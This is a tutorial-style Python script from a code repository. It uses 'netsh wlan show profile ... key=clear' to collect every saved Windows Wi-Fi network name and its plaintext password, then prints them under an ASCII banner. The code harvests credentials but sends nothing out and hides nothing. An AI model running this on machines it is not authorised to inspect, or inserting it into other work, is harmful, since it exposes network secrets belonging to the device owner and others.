58 | -------------------------------------------------------------------------------- /Windows-Specific-Scripts/windows10-wifi.py: -------------------------------------------------------------------------------- 1 | #! py 2 | 3 | 4 | # Import subprocess so we can use system commands. 5 | import subprocess 6 | 7 | # Import the re module so we can make use of regular expressions. 8 | import re 9 | 10 | # Python allows us to run system commands using the function 11 | # provided by the subprocess module; 12 | # (subprocess.run(, )). 13 | # 14 | # This script is a parent process that creates a child process which 15 | # runs a system command and will only continue once the child process 16 | # is completed. 17 | # 18 | # To save the contents that get sent to the standard output stream 19 | # (the terminal), we must first specify that we want to capture the output. 20 | # To do this we specify the second argument as capture_output = True. 21 | # This information gets stored in the stdout attribute as bytes and 22 | # needs to be decoded before being used as a String in Python. 23 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 24 | 25 | # We imported the re module to make use of regular expressions. 26 | # We want to find all the wifi names which are listed after 27 | # "ALL User Profile :". Using regular expressions we can create 28 | # a group of all characters until the return escape sequence (\r) appears. 29 | profile_names = (re.findall("All User Profile : (.*)\r", command_output)) 30 | 31 | # We create an empty list outside of the loop where dictionaries 32 | # containing all the wifi usernames and passwords will be saved. 33 | wifi_list = [] 34 | 35 | # If any profile names are not found this means that wifi connections 36 | # have also not been found. So we run this part to check the 37 | # details of the wifi and see whether we can get their passwords. 38 | if len(profile_names) != 0: 39 | for name in profile_names: 40 | # Every wifi connection will need its own dictionary which 41 | # will be appended to the variable wifi_list. 42 | wifi_profile = {} 43 | # We can now run a more specific command to see the information 44 | # about the wifi connection and if the Security key 45 | # is not absent it may be possible to get the password. 46 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() 47 | # We use the regular expression to only look for the absent cases so we can ignore them. 48 | if re.search("Security key : Absent", profile_info): 49 | continue 50 | else: 51 | # Assign the ssid of the wifi profile to the dictionary. 52 | wifi_profile["ssid"] = name 53 | # These cases aren't absent and we should run the 54 | # "key=clear" command part to get the password. 55 | profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() 56 | # Again run the regular expression to capture the 57 | # group after the : (which is the password). 58 | password = re.search("Key Content : (.*)\r", profile_info_pass) 59 | # Check if we found a password using the regular expression. 60 | # Some wifi connections may not have passwords. 61 | if password == None: 62 | wifi_profile["password"] = None 63 | else: 64 | # We assign the grouping (where the password is contained) that 65 | # we are interested in to the password key in the dictionary. 66 | wifi_profile["password"] = password[1] 67 | # We append the wifi information to the variable wifi_list. 68 | wifi_list.append(wifi_profile) 69 | 70 | for x in range(len(wifi_list)): 71 | print(""" 72 | ____ ____ _ _ 73 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 74 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 75 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 76 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 77 | """) 78 | print(wifi_list[x]) 79 | 80 | --------------------------------------------------------------------------------